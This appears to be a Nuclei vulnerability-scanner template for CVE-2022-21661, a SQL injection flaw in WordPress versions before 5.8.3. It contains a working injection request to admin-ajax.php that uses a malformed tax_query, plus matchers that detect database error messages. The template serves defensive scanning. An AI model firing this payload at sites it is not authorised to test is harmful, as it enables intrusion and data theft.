50 lines
2.5 KiB
YAML
50 lines
2.5 KiB
YAML
id: CVE-2022-21661
|
|
|
|
info:
|
|
name: WordPress <5.8.3 - SQL Injection
|
|
author: Marcio Mendes
|
|
severity: high
|
|
description: |
|
|
WordPress before 5.8.3 is susceptible to SQL injection through multiple plugins or themes due to improper sanitization in WP_Query, An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
|
|
impact: |
|
|
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
|
|
remediation: This has been patched in 5.8.3. Older affected versions are also fixed via security release, that go back till 3.7.37. We strongly recommend that you keep auto-updates enabled. There are no known workarounds for this vulnerability.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/7f768bcf-ed33-4b22-b432-d1e7f95c1317
|
|
- https://www.zerodayinitiative.com/blog/2022/1/18/cve-2021-21661-exposing-database-info-via-wordpress-sql-injection
|
|
- http://packetstormsecurity.com/files/165540/WordPress-Core-5.8.2-SQL-Injection.html
|
|
- https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-6676-cqfm-gw84
|
|
- https://nvd.nist.gov/vuln/detail/cve-2022-21661
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2022-21661
|
|
cwe-id: CWE-89
|
|
epss-score: 0.94068
|
|
epss-percentile: 0.98994
|
|
cpe: cpe:2.3:a:wordpress:wordpress:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: wordpress
|
|
product: wordpress
|
|
tags: cve2022,cve,wp,sqli,wpquery,wpscan,packetstorm,wordpress
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /wp-admin/admin-ajax.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
action=ecsload&query={"tax_query":{"0":{"field":"term_taxonomy_id","terms":[""]}}}&ecs_ajax_settings={"post_id":"1", "current_page":1, "widget_id":1, "theme_id":1, "max_num_pages":10}
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'status_code == 200'
|
|
- 'contains(content_type, "text/html")'
|
|
- 'contains(body, "WordPress database error:")'
|
|
- 'contains(body, "error in your SQL syntax")'
|
|
condition: and
|
|
# digest: 4a0a004730450220571df7167706c01d1dada3f56bd1daf14543c275f926f1a1c5ba7aca3dc97fff022100d88abf83dbb8630aa4327a668f75ab0ef7ca0a33c96a3323136646060b556847:922c64590222798bb761d5b6d8e72950 |